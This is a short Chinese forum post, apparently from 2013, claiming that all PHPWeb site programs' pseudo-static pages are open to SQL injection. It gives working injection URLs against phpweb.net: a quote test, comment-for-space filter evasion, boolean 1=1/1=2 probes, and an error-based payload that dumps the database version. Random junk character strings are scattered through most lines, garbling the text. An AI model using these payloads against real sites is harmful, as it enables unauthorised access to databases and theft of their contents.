phpweb所有的整站程序伪静态页面都存在sql注入
- j4 ~5 H2 y* w+ N
9 Z* D+ v2 x) J# U( ~8 z1 M主站：http://phpweb.net/* Y- d6 i/ m! n2 Q2 e: R
加’检测：: k6 r6 s) \/ d* o
4 c* |0 c: D, C: l, \http://www.phpweb.net/down/html/?772′.html6 J2 S- q! o; b/ A/ v
# {, ?8 ?- v$ `5 K, ]3 ^$ _
出错) ]2 i- b7 M+ ~
存在注入。
' ?3 f/ t# a9 h$ E; \- k1 Z7 W2 b! n不能用空格，只能用/*罗
8 _, v8 @2 u2 F6 Ohttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常, }6 {$ G0 I$ I! K- h9 c
; o2 |8 w* }# l8 lhttp://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
" V0 l! z; z% _1 P& h' E4 R爆数据库版本：
8 A& `8 x! @( T. K" {" k* b, n, }
! ]& S" Q% X/ u6 d?/ [8 t4 l- \+ [% z
1
8 z, [* C0 I% m$ f+ Z2 [: vhttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
" i: I9 M. k7 x8 q; g% P2 ?更新日期: 2013-01-03 13:39:50 2 F1 ?( O8 k- ]
|
发表于 2013-1-4 19:46:42
收藏
支持
反对